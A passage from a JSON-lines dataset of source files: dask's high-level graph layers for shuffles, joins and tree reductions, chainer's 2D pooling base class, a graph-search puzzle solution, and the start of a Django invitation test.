1, 2], [3, 4, 5]]\n \"\"\"\n if len(shape) == 1:\n return list(seq)\n else:\n n = int(len(seq) / shape[0])\n return [reshapelist(shape[1:], part) for part in toolz.partition(n, seq)]\n\n\ndef fractional_slice(task, axes):\n \"\"\"\n\n >>> fractional_slice(('x', 5.1), {0: 2})\n (, ('x', 5), (slice(-2, None, None),))\n\n >>> fractional_slice(('x', 3, 5.1), {0: 2, 1: 3})\n (, ('x', 3, 5), (slice(None, None, None), slice(-3, None, None)))\n\n >>> fractional_slice(('x', 2.9, 5.1), {0: 2, 1: 3})\n (, ('x', 3, 5), (slice(0, 2, None), slice(-3, None, None)))\n \"\"\"\n rounded = (task[0],) + tuple(int(round(i)) for i in task[1:])\n\n index = []\n for i, (t, r) in enumerate(zip(task[1:], rounded[1:])):\n depth = axes.get(i, 0)\n if isinstance(depth, tuple):\n left_depth = depth[0]\n right_depth = depth[1]\n else:\n left_depth = depth\n right_depth = depth\n\n if t == r:\n index.append(slice(None, None, None))\n elif t < r and right_depth:\n index.append(slice(0, right_depth))\n elif t > r and left_depth:\n index.append(slice(-left_depth, None))\n else:\n index.append(slice(0, 0))\n index = tuple(index)\n\n if all(ind == slice(None, None, None) for ind in index):\n return task\n else:\n return (operator.getitem, rounded, index)\n\n\n#\n##\n### DataFrame Layers & Utilities\n##\n#\n\n\nclass SimpleShuffleLayer(Layer):\n \"\"\"Simple HighLevelGraph Shuffle layer\n\n High-level graph layer for a simple shuffle operation in which\n each output partition depends on all input partitions.\n\n Parameters\n ----------\n name : str\n Name of new shuffled output collection.\n column : str or list of str\n Column(s) to be used to map rows to output partitions (by hashing).\n npartitions : int\n Number of output partitions.\n npartitions_input : int\n Number of partitions in the original (un-shuffled) DataFrame.\n ignore_index: bool, default False\n Ignore index during shuffle. If ``True``, performance may improve,\n but index values will not be preserved.\n name_input : str\n Name of input collection.\n meta_input : pd.DataFrame-like object\n Empty metadata of input collection.\n parts_out : list of int (optional)\n List of required output-partition indices.\n annotations : dict (optional)\n Layer annotations\n \"\"\"\n\n def __init__(\n self,\n name,\n column,\n npartitions,\n npartitions_input,\n ignore_index,\n name_input,\n meta_input,\n parts_out=None,\n annotations=None,\n ):\n self.name = name\n self.column = column\n self.npartitions = npartitions\n self.npartitions_input = npartitions_input\n self.ignore_index = ignore_index\n self.name_input = name_input\n self.meta_input = meta_input\n self.parts_out = parts_out or range(npartitions)\n self.split_name = \"split-\" + self.name\n\n # The scheduling policy of Dask is generally depth-first,\n # which works great in most cases. However, in case of shuffle,\n # it increases the memory usage significantly. This is because\n # depth-first delays the freeing of the result of `shuffle_group()`\n # until the end of the shuffling.\n #\n # We address this by manually setting a high \"priority\" to the\n # `getitem()` (\"split\") tasks, using annotations. This forces a\n # breadth-first scheduling of the tasks that directly depend on\n # the `shuffle_group()` output, allowing that data to be freed\n # much earlier.\n #\n # See https://github.com/dask/dask/pull/6051 for a detailed discussion.\n annotations = annotations or {}\n self._split_keys = None\n if \"priority\" not in annotations:\n annotations[\"priority\"] = self._key_priority\n\n super().__init__(annotations=annotations)\n\n def _key_priority(self, key):\n assert isinstance(key, tuple)\n if key[0] == self.split_name:\n return 1\n else:\n return 0\n\n def get_output_keys(self):\n return {(self.name, part) for part in self.parts_out}\n\n def __repr__(self):\n return \"SimpleShuffleLayer\".format(\n self.name, self.npartitions\n )\n\n def is_materialized(self):\n return hasattr(self, \"_cached_dict\")\n\n @property\n def _dict(self):\n \"\"\"Materialize full dict representation\"\"\"\n if hasattr(self, \"_cached_dict\"):\n return self._cached_dict\n else:\n dsk = self._construct_graph()\n self._cached_dict = dsk\n return self._cached_dict\n\n def __getitem__(self, key):\n return self._dict[key]\n\n def __iter__(self):\n return iter(self._dict)\n\n def __len__(self):\n return len(self._dict)\n\n def _keys_to_parts(self, keys):\n \"\"\"Simple utility to convert keys to partition indices.\"\"\"\n parts = set()\n for key in keys:\n try:\n _name, _part = key\n except ValueError:\n continue\n if _name != self.name:\n continue\n parts.add(_part)\n return parts\n\n def _cull_dependencies(self, keys, parts_out=None):\n \"\"\"Determine the necessary dependencies to produce `keys`.\n\n For a simple shuffle, output partitions always depend on\n all input partitions. This method does not require graph\n materialization.\n \"\"\"\n deps = defaultdict(set)\n parts_out = parts_out or self._keys_to_parts(keys)\n for part in parts_out:\n deps[(self.name, part)] |= {\n (self.name_input, i) for i in range(self.npartitions_input)\n }\n return deps\n\n def _cull(self, parts_out):\n return SimpleShuffleLayer(\n self.name,\n self.column,\n self.npartitions,\n self.npartitions_input,\n self.ignore_index,\n self.name_input,\n self.meta_input,\n parts_out=parts_out,\n )\n\n def cull(self, keys, all_keys):\n \"\"\"Cull a SimpleShuffleLayer HighLevelGraph layer.\n\n The underlying graph will only include the necessary\n tasks to produce the keys (indices) included in `parts_out`.\n Therefore, \"culling\" the layer only requires us to reset this\n parameter.\n \"\"\"\n parts_out = self._keys_to_parts(keys)\n culled_deps = self._cull_dependencies(keys, parts_out=parts_out)\n if parts_out != set(self.parts_out):\n culled_layer = self._cull(parts_out)\n return culled_layer, culled_deps\n else:\n return self, culled_deps\n\n def _construct_graph(self, deserializing=False):\n \"\"\"Construct graph for a simple shuffle operation.\"\"\"\n\n shuffle_group_name = \"group-\" + self.name\n\n if deserializing:\n # Use CallableLazyImport objects to avoid importing dataframe\n # module on the scheduler\n concat_func = CallableLazyImport(\"dask.dataframe.core._concat\")\n shuffle_group_func = CallableLazyImport(\n \"dask.dataframe.shuffle.shuffle_group\"\n )\n else:\n # Not running on distributed scheduler - Use explicit functions\n from dask.dataframe.core import _concat as concat_func\n from dask.dataframe.shuffle import shuffle_group as shuffle_group_func\n\n dsk = {}\n for part_out in self.parts_out:\n _concat_list = [\n (self.split_name, part_out, part_in)\n for part_in in range(self.npartitions_input)\n ]\n dsk[(self.name, part_out)] = (\n concat_func,\n _concat_list,\n self.ignore_index,\n )\n for _, _part_out, _part_in in _concat_list:\n dsk[(self.split_name, _part_out, _part_in)] = (\n operator.getitem,\n (shuffle_group_name, _part_in),\n _part_out,\n )\n if (shuffle_group_name, _part_in) not in dsk:\n dsk[(shuffle_group_name, _part_in)] = (\n shuffle_group_func,\n (self.name_input, _part_in),\n self.column,\n 0,\n self.npartitions,\n self.npartitions,\n self.ignore_index,\n self.npartitions,\n )\n\n return dsk\n\n\nclass ShuffleLayer(SimpleShuffleLayer):\n \"\"\"Shuffle-stage HighLevelGraph layer\n\n High-level graph layer corresponding to a single stage of\n a multi-stage inter-partition shuffle operation.\n\n Stage: (shuffle-group) -> (shuffle-split) -> (shuffle-join)\n\n Parameters\n ----------\n name : str\n Name of new (partially) shuffled collection.\n column : str or list of str\n Column(s) to be used to map rows to output partitions (by hashing).\n inputs : list of tuples\n Each tuple dictates the data movement for a specific partition.\n stage : int\n Index of the current shuffle stage.\n npartitions : int\n Number of output partitions for the full (multi-stage) shuffle.\n npartitions_input : int\n Number of partitions in the original (un-shuffled) DataFrame.\n k : int\n A partition is split into this many groups during each stage.\n ignore_index: bool, default False\n Ignore index during shuffle. If ``True``, performance may improve,\n but index values will not be preserved.\n name_input : str\n Name of input collection.\n meta_input : pd.DataFrame-like object\n Empty metadata of input collection.\n parts_out : list of int (optional)\n List of required output-partition indices.\n annotations : dict (optional)\n Layer annotations\n \"\"\"\n\n def __init__(\n self,\n name,\n column,\n inputs,\n stage,\n npartitions,\n npartitions_input,\n nsplits,\n ignore_index,\n name_input,\n meta_input,\n parts_out=None,\n annotations=None,\n ):\n self.inputs = inputs\n self.stage = stage\n self.nsplits = nsplits\n super().__init__(\n name,\n column,\n npartitions,\n npartitions_input,\n ignore_index,\n name_input,\n meta_input,\n parts_out=parts_out or range(len(inputs)),\n annotations=annotations,\n )\n\n def __repr__(self):\n return \"ShuffleLayer\".format(\n self.name, self.stage, self.nsplits, self.npartitions\n )\n\n def _cull_dependencies(self, keys, parts_out=None):\n \"\"\"Determine the necessary dependencies to produce `keys`.\n\n Does not require graph materialization.\n \"\"\"\n deps = defaultdict(set)\n parts_out = parts_out or self._keys_to_parts(keys)\n inp_part_map = {inp: i for i, inp in enumerate(self.inputs)}\n for part in parts_out:\n out = self.inputs[part]\n for k in range(self.nsplits):\n _inp = insert(out, self.stage, k)\n _part = inp_part_map[_inp]\n if self.stage == 0 and _part >= self.npartitions_input:\n deps[(self.name, part)].add((\"group-\" + self.name, _inp, \"empty\"))\n else:\n deps[(self.name, part)].add((self.name_input, _part))\n return deps\n\n def _cull(self, parts_out):\n return ShuffleLayer(\n self.name,\n self.column,\n self.inputs,\n self.stage,\n self.npartitions,\n self.npartitions_input,\n self.nsplits,\n self.ignore_index,\n self.name_input,\n self.meta_input,\n parts_out=parts_out,\n )\n\n def _construct_graph(self, deserializing=False):\n \"\"\"Construct graph for a \"rearrange-by-column\" stage.\"\"\"\n\n shuffle_group_name = \"group-\" + self.name\n\n if deserializing:\n # Use CallableLazyImport objects to avoid importing dataframe\n # module on the scheduler\n concat_func = CallableLazyImport(\"dask.dataframe.core._concat\")\n shuffle_group_func = CallableLazyImport(\n \"dask.dataframe.shuffle.shuffle_group\"\n )\n else:\n # Not running on distributed scheduler - Use explicit functions\n from dask.dataframe.core import _concat as concat_func\n from dask.dataframe.shuffle import shuffle_group as shuffle_group_func\n\n dsk = {}\n inp_part_map = {inp: i for i, inp in enumerate(self.inputs)}\n for part in self.parts_out:\n out = self.inputs[part]\n\n _concat_list = [] # get_item tasks to concat for this output partition\n for i in range(self.nsplits):\n # Get out each individual dataframe piece from the dicts\n _inp = insert(out, self.stage, i)\n _idx = out[self.stage]\n _concat_list.append((self.split_name, _idx, _inp))\n\n # concatenate those pieces together, with their friends\n dsk[(self.name, part)] = (\n concat_func,\n _concat_list,\n self.ignore_index,\n )\n\n for _, _idx, _inp in _concat_list:\n dsk[(self.split_name, _idx, _inp)] = (\n operator.getitem,\n (shuffle_group_name, _inp),\n _idx,\n )\n\n if (shuffle_group_name, _inp) not in dsk:\n # Initial partitions (output of previous stage)\n _part = inp_part_map[_inp]\n if self.stage == 0:\n if _part < self.npartitions_input:\n input_key = (self.name_input, _part)\n else:\n # In order to make sure that to_serialize() serialize the\n # empty dataframe input, we add it as a key.\n input_key = (shuffle_group_name, _inp, \"empty\")\n dsk[input_key] = self.meta_input\n else:\n input_key = (self.name_input, _part)\n\n # Convert partition into dict of dataframe pieces\n dsk[(shuffle_group_name, _inp)] = (\n shuffle_group_func,\n input_key,\n self.column,\n self.stage,\n self.nsplits,\n self.npartitions_input,\n self.ignore_index,\n self.npartitions,\n )\n\n return dsk\n\n\nclass BroadcastJoinLayer(Layer):\n \"\"\"Broadcast-based Join Layer\n\n High-level graph layer for a join operation requiring the\n smaller collection to be broadcasted to every partition of\n the larger collection.\n\n Parameters\n ----------\n name : str\n Name of new (joined) output collection.\n lhs_name: string\n \"Left\" DataFrame collection to join.\n lhs_npartitions: int\n Number of partitions in \"left\" DataFrame collection.\n rhs_name: string\n \"Right\" DataFrame collection to join.\n rhs_npartitions: int\n Number of partitions in \"right\" DataFrame collection.\n parts_out : list of int (optional)\n List of required output-partition indices.\n annotations : dict (optional)\n Layer annotations.\n **merge_kwargs : **dict\n Keyword arguments to be passed to chunkwise merge func.\n \"\"\"\n\n def __init__(\n self,\n name,\n npartitions,\n lhs_name,\n lhs_npartitions,\n rhs_name,\n rhs_npartitions,\n parts_out=None,\n annotations=None,\n left_on=None,\n right_on=None,\n **merge_kwargs,\n ):\n super().__init__(annotations=annotations)\n self.name = name\n self.npartitions = npartitions\n self.lhs_name = lhs_name\n self.lhs_npartitions = lhs_npartitions\n self.rhs_name = rhs_name\n self.rhs_npartitions = rhs_npartitions\n self.parts_out = parts_out or set(range(self.npartitions))\n self.left_on = tuple(left_on) if isinstance(left_on, list) else left_on\n self.right_on = tuple(right_on) if isinstance(right_on, list) else right_on\n self.merge_kwargs = merge_kwargs\n self.how = self.merge_kwargs.get(\"how\")\n self.merge_kwargs[\"left_on\"] = self.left_on\n self.merge_kwargs[\"right_on\"] = self.right_on\n\n def get_output_keys(self):\n return {(self.name, part) for part in self.parts_out}\n\n def __repr__(self):\n return \"BroadcastJoinLayer\".format(\n self.name, self.how, self.lhs_name, self.rhs_name\n )\n\n def is_materialized(self):\n return hasattr(self, \"_cached_dict\")\n\n @property\n def _dict(self):\n \"\"\"Materialize full dict representation\"\"\"\n if hasattr(self, \"_cached_dict\"):\n return self._cached_dict\n else:\n dsk = self._construct_graph()\n self._cached_dict = dsk\n return self._cached_dict\n\n def __getitem__(self, key):\n return self._dict[key]\n\n def __iter__(self):\n return iter(self._dict)\n\n def __len__(self):\n return len(self._dict)\n\n def _keys_to_parts(self, keys):\n \"\"\"Simple utility to convert keys to partition indices.\"\"\"\n parts = set()\n for key in keys:\n try:\n _name, _part = key\n except ValueError:\n continue\n if _name != self.name:\n continue\n parts.add(_part)\n return parts\n\n @property\n def _broadcast_plan(self):\n # Return structure (tuple):\n # (\n # ,\n # ,\n # ,\n # ,\n # )\n if self.lhs_npartitions < self.rhs_npartitions:\n # Broadcasting the left\n return (\n self.lhs_name,\n self.lhs_npartitions,\n self.rhs_name,\n self.right_on,\n )\n else:\n # Broadcasting the right\n return (\n self.rhs_name,\n self.rhs_npartitions,\n self.lhs_name,\n self.left_on,\n )\n\n def _cull_dependencies(self, keys, parts_out=None):\n \"\"\"Determine the necessary dependencies to produce `keys`.\n\n For a broadcast join, output partitions always depend on\n all partitions of the broadcasted collection, but only one\n partition of the \"other\" collection.\n \"\"\"\n # Get broadcast info\n bcast_name, bcast_size, other_name = self._broadcast_plan[:3]\n\n deps = defaultdict(set)\n parts_out = parts_out or self._keys_to_parts(keys)\n for part in parts_out:\n deps[(self.name, part)] |= {(bcast_name, i) for i in range(bcast_size)}\n deps[(self.name, part)] |= {\n (other_name, part),\n }\n return deps\n\n def _cull(self, parts_out):\n return BroadcastJoinLayer(\n self.name,\n self.npartitions,\n self.lhs_name,\n self.lhs_npartitions,\n self.rhs_name,\n self.rhs_npartitions,\n annotations=self.annotations,\n parts_out=parts_out,\n **self.merge_kwargs,\n )\n\n def cull(self, keys, all_keys):\n \"\"\"Cull a BroadcastJoinLayer HighLevelGraph layer.\n\n The underlying graph will only include the necessary\n tasks to produce the keys (indices) included in `parts_out`.\n Therefore, \"culling\" the layer only requires us to reset this\n parameter.\n \"\"\"\n parts_out = self._keys_to_parts(keys)\n culled_deps = self._cull_dependencies(keys, parts_out=parts_out)\n if parts_out != set(self.parts_out):\n culled_layer = self._cull(parts_out)\n return culled_layer, culled_deps\n else:\n return self, culled_deps\n\n def _construct_graph(self, deserializing=False):\n \"\"\"Construct graph for a broadcast join operation.\"\"\"\n\n inter_name = \"inter-\" + self.name\n split_name = \"split-\" + self.name\n\n if deserializing:\n # Use CallableLazyImport objects to avoid importing dataframe\n # module on the scheduler\n split_partition_func = CallableLazyImport(\n \"dask.dataframe.multi._split_partition\"\n )\n concat_func = CallableLazyImport(\"dask.dataframe.multi._concat_wrapper\")\n merge_chunk_func = CallableLazyImport(\n \"dask.dataframe.multi._merge_chunk_wrapper\"\n )\n else:\n # Not running on distributed scheduler - Use explicit functions\n from dask.dataframe.multi import _concat_wrapper as concat_func\n from dask.dataframe.multi import _merge_chunk_wrapper as merge_chunk_func\n from dask.dataframe.multi import _split_partition as split_partition_func\n\n # Get broadcast \"plan\"\n bcast_name, bcast_size, other_name, other_on = self._broadcast_plan\n bcast_side = \"left\" if self.lhs_npartitions < self.rhs_npartitions else \"right\"\n\n # Loop over output partitions, which should be a 1:1\n # mapping with the input partitions of \"other\".\n # Culling should allow us to avoid generating tasks for\n # any output partitions that are not requested (via `parts_out`)\n dsk = {}\n for i in self.parts_out:\n # Split each \"other\" partition by hash\n if self.how != \"inner\":\n dsk[(split_name, i)] = (\n split_partition_func,\n (other_name, i),\n other_on,\n bcast_size,\n )\n\n # For each partition of \"other\", we need to join\n # to each partition of \"bcast\". If it is a \"left\"\n # or \"right\" join, there should be a unique mapping\n # between the local splits of \"other\" and the\n # partitions of \"bcast\" (which means we need an\n # additional `getitem` operation to isolate the\n # correct split of each \"other\" partition).\n _concat_list = []\n for j in range(bcast_size):\n # Specify arg list for `merge_chunk`\n _merge_args = [\n (\n operator.getitem,\n (split_name, i),\n j,\n )\n if self.how != \"inner\"\n else (other_name, i),\n (bcast_name, j),\n ]\n if bcast_side == \"left\":\n # If the left is broadcasted, the\n # arg list needs to be reversed\n _merge_args.reverse()\n inter_key = (inter_name, i, j)\n dsk[inter_key] = (\n apply,\n merge_chunk_func,\n _merge_args,\n self.merge_kwargs,\n )\n _concat_list.append(inter_key)\n\n # Concatenate the merged results for each output partition\n dsk[(self.name, i)] = (concat_func, _concat_list)\n\n return dsk\n\n\nclass DataFrameIOLayer(Blockwise):\n \"\"\"DataFrame-based Blockwise Layer with IO\n\n Parameters\n ----------\n name : str\n Name to use for the constructed layer.\n columns : str, list or None\n Field name(s) to read in as columns in the output.\n inputs : list or BlockwiseDep\n List of arguments to be passed to ``io_func`` so\n that the materialized task to produce partition ``i``\n will be: ``(, inputs[i])``. Note that each\n element of ``inputs`` is typically a tuple of arguments.\n io_func : callable\n A callable function that takes in a single tuple\n of arguments, and outputs a DataFrame partition.\n Column projection will be supported for functions\n that satisfy the ``DataFrameIOFunction`` protocol.\n label : str (optional)\n String to use as a prefix in the place-holder collection\n name. If nothing is specified (default), \"subset-\" will\n be used.\n produces_tasks : bool (optional)\n Whether one or more elements of `inputs` is expected to\n contain a nested task. This argument in only used for\n serialization purposes, and will be deprecated in the\n future. Default is False.\n creation_info: dict (optional)\n Dictionary containing the callable function ('func'),\n positional arguments ('args'), and key-word arguments\n ('kwargs') used to produce the dask collection with\n this underlying ``DataFrameIOLayer``.\n annotations: dict (optional)\n Layer annotations to pass through to Blockwise.\n \"\"\"\n\n def __init__(\n self,\n name,\n columns,\n inputs,\n io_func,\n label=None,\n produces_tasks=False,\n creation_info=None,\n annotations=None,\n ):\n self.name = name\n self._columns = columns\n self.inputs = inputs\n self.io_func = io_func\n self.label = label\n self.produces_tasks = produces_tasks\n self.annotations = annotations\n self.creation_info = creation_info\n\n if not isinstance(inputs, BlockwiseDep):\n # Define mapping between key index and \"part\"\n io_arg_map = BlockwiseDepDict(\n {(i,): inp for i, inp in enumerate(self.inputs)},\n produces_tasks=self.produces_tasks,\n )\n else:\n io_arg_map = inputs\n\n # Use Blockwise initializer\n dsk = {self.name: (io_func, blockwise_token(0))}\n super().__init__(\n output=self.name,\n output_indices=\"i\",\n dsk=dsk,\n indices=[(io_arg_map, \"i\")],\n numblocks={},\n annotations=annotations,\n )\n\n @property\n def columns(self):\n \"\"\"Current column projection for this layer\"\"\"\n return self._columns\n\n def project_columns(self, columns):\n \"\"\"Produce a column projection for this IO layer.\n Given a list of required output columns, this method\n returns the projected layer.\n \"\"\"\n from dask.dataframe.io.utils import DataFrameIOFunction\n\n columns = list(columns)\n\n if self.columns is None or set(self.columns).issuperset(columns):\n # Apply column projection in IO function.\n # Must satisfy `DataFrameIOFunction` protocol\n if isinstance(self.io_func, DataFrameIOFunction):\n io_func = self.io_func.project_columns(columns)\n else:\n io_func = self.io_func\n\n layer = DataFrameIOLayer(\n (self.label or \"subset\") + \"-\" + tokenize(self.name, columns),\n columns,\n self.inputs,\n io_func,\n label=self.label,\n produces_tasks=self.produces_tasks,\n annotations=self.annotations,\n )\n return layer\n else:\n # Default behavior\n return self\n\n def __repr__(self):\n return \"DataFrameIOLayer\".format(\n self.name, len(self.inputs), self.columns\n )\n\n\nclass DataFrameTreeReduction(Layer):\n \"\"\"DataFrame Tree-Reduction Layer\n\n Parameters\n ----------\n name : str\n Name to use for the constructed layer.\n name_input : str\n Name of the input layer that is being reduced.\n npartitions_input : str\n Number of partitions in the input layer.\n concat_func : callable\n Function used by each tree node to reduce a list of inputs\n into a single output value. This function must accept only\n a list as its first positional argument.\n tree_node_func : callable\n Function used on the output of ``concat_func`` in each tree\n node. This function must accept the output of ``concat_func``\n as its first positional argument.\n finalize_func : callable, optional\n Function used in place of ``tree_node_func`` on the final tree\n node(s) to produce the final output for each split. By default,\n ``tree_node_func`` will be used.\n split_every : int, optional\n This argument specifies the maximum number of input nodes\n to be handled by any one task in the tree. Defaults to 32.\n split_out : int, optional\n This argument specifies the number of output nodes in the\n reduction tree. If ``split_out`` is set to an integer >=1, the\n input tasks must contain data that can be indexed by a ``getitem``\n operation with a key in the range ``[0, split_out)``.\n output_partitions : list, optional\n List of required output partitions. This parameter is used\n internally by Dask for high-level culling.\n tree_node_name : str, optional\n Name to use for intermediate tree-node tasks.\n \"\"\"\n\n name: str\n name_input: str\n npartitions_input: int\n concat_func: Callable\n tree_node_func: Callable\n finalize_func: Callable | None\n split_every: int\n split_out: int\n output_partitions: list[int]\n tree_node_name: str\n widths: list[int]\n height: int\n\n def __init__(\n self,\n name: str,\n name_input: str,\n npartitions_input: int,\n concat_func: Callable,\n tree_node_func: Callable,\n finalize_func: Callable | None = None,\n split_every: int = 32,\n split_out: int | None = None,\n output_partitions: list[int] | None = None,\n tree_node_name: str | None = None,\n annotations: dict[str, Any] | None = None,\n ):\n super().__init__(annotations=annotations)\n self.name = name\n self.name_input = name_input\n self.npartitions_input = npartitions_input\n self.concat_func = concat_func\n self.tree_node_func = tree_node_func\n self.finalize_func = finalize_func\n self.split_every = split_every\n self.split_out = split_out # type: ignore\n self.output_partitions = (\n list(range(self.split_out or 1))\n if output_partitions is None\n else output_partitions\n )\n self.tree_node_name = tree_node_name or \"tree_node-\" + self.name\n\n # Calculate tree widths and height\n # (Used to get output keys without materializing)\n parts = self.npartitions_input\n self.widths = [parts]\n while parts > 1:\n parts = math.ceil(parts / self.split_every)\n self.widths.append(int(parts))\n self.height = len(self.widths)\n\n def _make_key(self, *name_parts, split=0):\n # Helper function construct a key\n # with a \"split\" element when\n # bool(split_out) is True\n return name_parts + (split,) if self.split_out else name_parts\n\n def _define_task(self, input_keys, final_task=False):\n # Define nested concatenation and func task\n if final_task and self.finalize_func:\n outer_func = self.finalize_func\n else:\n outer_func = self.tree_node_func\n return (toolz.pipe, input_keys, self.concat_func, outer_func)\n\n def _construct_graph(self):\n \"\"\"Construct graph for a tree reduction.\"\"\"\n\n dsk = {}\n if not self.output_partitions:\n return dsk\n\n # Deal with `bool(split_out) == True`.\n # These cases require that the input tasks\n # return a type that enables getitem operation\n # with indices: [0, split_out)\n # Therefore, we must add \"getitem\" tasks to\n # select the appropriate element for each split\n name_input_use = self.name_input\n if self.split_out:\n name_input_use += \"-split\"\n for s in self.output_partitions:\n for p in range(self.npartitions_input):\n dsk[self._make_key(name_input_use, p, split=s)] = (\n operator.getitem,\n (self.name_input, p),\n s,\n )\n\n if self.height >= 2:\n # Loop over output splits\n for s in self.output_partitions:\n # Loop over reduction levels\n for depth in range(1, self.height):\n # Loop over reduction groups\n for group in range(self.widths[depth]):\n # Calculate inputs for the current group\n p_max = self.widths[depth - 1]\n lstart = self.split_every * group\n lstop = min(lstart + self.split_every, p_max)\n if depth == 1:\n # Input nodes are from input layer\n input_keys = [\n self._make_key(name_input_use, p, split=s)\n for p in range(lstart, lstop)\n ]\n else:\n # Input nodes are tree-reduction nodes\n input_keys = [\n self._make_key(\n self.tree_node_name, p, depth - 1, split=s\n )\n for p in range(lstart, lstop)\n ]\n\n # Define task\n if depth == self.height - 1:\n # Final Node (Use fused `self.tree_finalize` task)\n assert (\n group == 0\n ), f\"group = {group}, not 0 for final tree reduction task\"\n dsk[(self.name, s)] = self._define_task(\n input_keys, final_task=True\n )\n else:\n # Intermediate Node\n dsk[\n self._make_key(\n self.tree_node_name, group, depth, split=s\n )\n ] = self._define_task(input_keys, final_task=False)\n else:\n # Deal with single-partition case\n for s in self.output_partitions:\n input_keys = [self._make_key(name_input_use, 0, split=s)]\n dsk[(self.name, s)] = self._define_task(input_keys, final_task=True)\n\n return dsk\n\n def __repr__(self):\n return \"DataFrameTreeReduction\".format(\n self.name, self.name_input, self.split_out\n )\n\n def _output_keys(self):\n return {(self.name, s) for s in self.output_partitions}\n\n def get_output_keys(self):\n if hasattr(self, \"_cached_output_keys\"):\n return self._cached_output_keys\n else:\n output_keys = self._output_keys()\n self._cached_output_keys = output_keys\n return self._cached_output_keys\n\n def is_materialized(self):\n return hasattr(self, \"_cached_dict\")\n\n @property\n def _dict(self):\n \"\"\"Materialize full dict representation\"\"\"\n if hasattr(self, \"_cached_dict\"):\n return self._cached_dict\n else:\n dsk = self._construct_graph()\n self._cached_dict = dsk\n return self._cached_dict\n\n def __getitem__(self, key):\n return self._dict[key]\n\n def __iter__(self):\n return iter(self._dict)\n\n def __len__(self):\n # Start with \"base\" tree-reduction size\n tree_size = (sum(self.widths[1:]) or 1) * (self.split_out or 1)\n if self.split_out:\n # Add on \"split-*\" tasks used for `getitem` ops\n return tree_size + self.npartitions_input * len(self.output_partitions)\n return tree_size\n\n def _keys_to_output_partitions(self, keys):\n \"\"\"Simple utility to convert keys to output partition indices.\"\"\"\n splits = set()\n for key in keys:\n try:\n _name, _split = key\n except ValueError:\n continue\n if _name != self.name:\n continue\n splits.add(_split)\n return splits\n\n def _cull(self, output_partitions):\n return DataFrameTreeReduction(\n self.name,\n self.name_input,\n self.npartitions_input,\n self.concat_func,\n self.tree_node_func,\n finalize_func=self.finalize_func,\n split_every=self.split_every,\n split_out=self.split_out,\n output_partitions=output_partitions,\n tree_node_name=self.tree_node_name,\n annotations=self.annotations,\n )\n\n def cull(self, keys, all_keys):\n \"\"\"Cull a DataFrameTreeReduction HighLevelGraph layer\"\"\"\n deps = {\n (self.name, 0): {\n (self.name_input, i) for i in range(self.npartitions_input)\n }\n }\n output_partitions = self._keys_to_output_partitions(keys)\n if output_partitions != set(self.output_partitions):\n culled_layer = self._cull(output_partitions)\n return culled_layer, deps\n else:\n return self, deps\n","repo_name":"dask/dask","sub_path":"dask/layers.py","file_name":"layers.py","file_ext":"py","file_size_in_byte":46004,"program_lang":"python","lang":"en","doc_type":"code","stars":11534,"dataset":"github-code","pt":"99"} +{"seq_id":"22341351117","text":"from chainer.backends import cuda\nfrom chainer import function_node\nfrom chainer.utils import collections_abc\nfrom chainer.utils import conv\nfrom chainer.utils import type_check\n\nif cuda.cudnn_enabled:\n cudnn = cuda.cudnn\n\n\ndef _pair(x):\n if isinstance(x, collections_abc.Iterable):\n return x\n return x, x\n\n\nclass Pooling2D(function_node.FunctionNode):\n\n \"\"\"Base class of pooling function over a set of 2d planes.\"\"\"\n\n def __init__(self, ksize, stride=None, pad=0, cover_all=True,\n return_indices=False):\n if stride is None:\n stride = ksize\n\n self.kh, self.kw = _pair(ksize)\n self.sy, self.sx = _pair(stride)\n self.ph, self.pw = _pair(pad)\n\n self.cover_all = cover_all\n self.return_indices = return_indices\n\n self._used_cudnn = False\n\n def check_type_forward(self, in_types):\n type_check.expect(\n in_types.size() == 1,\n in_types[0].dtype.kind == 'f',\n in_types[0].ndim == 4\n )\n\n def forward_gpu(self, x):\n self.retain_inputs((0,))\n self._used_cudnn = True\n\n # Implementation using cudnn\n x = x[0]\n n, c, h, w = x.shape\n y_h = conv.get_conv_outsize(\n h, self.kh, self.sy, self.ph, self.cover_all)\n assert y_h > 0, 'Height in the output should be positive.'\n y_w = conv.get_conv_outsize(\n w, self.kw, self.sx, self.pw, self.cover_all)\n assert y_w > 0, 'Width in the output should be positive.'\n y = cuda.cupy.empty((n, c, y_h, y_w), dtype=x.dtype)\n\n cudnn.pooling_forward(\n x, y,\n (self.kh, self.kw), (self.sy, self.sx), (self.ph, self.pw),\n self._get_pool_mode())\n self.retain_outputs((0,))\n return y,\n\n def backward_gpu(self, x, gy):\n # Implementation using cudnn\n x = x[0]\n y = self.get_retained_outputs()[0].array\n gx = cudnn.pooling_backward(\n x, y, gy[0],\n (self.kh, self.kw), (self.sy, self.sx), (self.ph, self.pw),\n self._get_pool_mode())\n return gx,\n\n def _get_pool_mode(self):\n raise NotImplementedError()\n","repo_name":"chainer/chainer","sub_path":"chainer/functions/pooling/pooling_2d.py","file_name":"pooling_2d.py","file_ext":"py","file_size_in_byte":2192,"program_lang":"python","lang":"en","doc_type":"code","stars":5829,"dataset":"github-code","pt":"99"} +{"seq_id":"41776676466","text":"import sys\r\ninput = sys.stdin.readline\r\n\r\ndef dfs(visited, graph, node):\r\n visited[node] += 1\r\n for v in graph[node]:\r\n if visited[v] == -1:\r\n visited[v] = visited[node]\r\n dfs(visited, graph, v)\r\n\r\nn = int(input())\r\na, b = map(int, input().split())\r\nm = int(input())\r\ngraph = [[] for _ in range(n + 1)]\r\nfor _ in range(m):\r\n n1, n2 = map(int, input().split())\r\n graph[n1].append(n2)\r\n graph[n2].append(n1)\r\n\r\nvisited = [-1] * (n + 1)\r\ndfs(visited, graph, a)\r\nprint(visited[b])","repo_name":"seongeun42/Algorithm-Solved","sub_path":"백준/Silver/2644.촌수계산/촌수계산.py","file_name":"촌수계산.py","file_ext":"py","file_size_in_byte":520,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"99"} +{"seq_id":"2229660299","text":"from datetime import datetime, timedelta\n\nfrom django.test import TestCase\nfrom django.utils.timezone import get_current_timezone\n\nfrom auditlog.models import LogEntry\nfrom .common import _create_dummy_user, _create_thresholds, _create_experiment, \\\n _create_participant\nfrom experiments.models import Invitation, TimeSlot\nfrom ..utils.invitations import delete_invites, get_invite_counts\n\n\nclass InvitationTests(TestCase):\n databases = ['default', 'auditlog']\n\n def setUp(self) -> None:\n _create_thresholds()\n self.experiment = _create_experiment()\n self.participants = [_create_participant(str(i)) for i in range(10)]\n\n for participant in self.participants:\n Invitation.objects.create(\n participant=participant,\n experiment=self.experiment,\n )\n\n def test_correct_num_without_timeslot(self):\n \"\"\"Tests 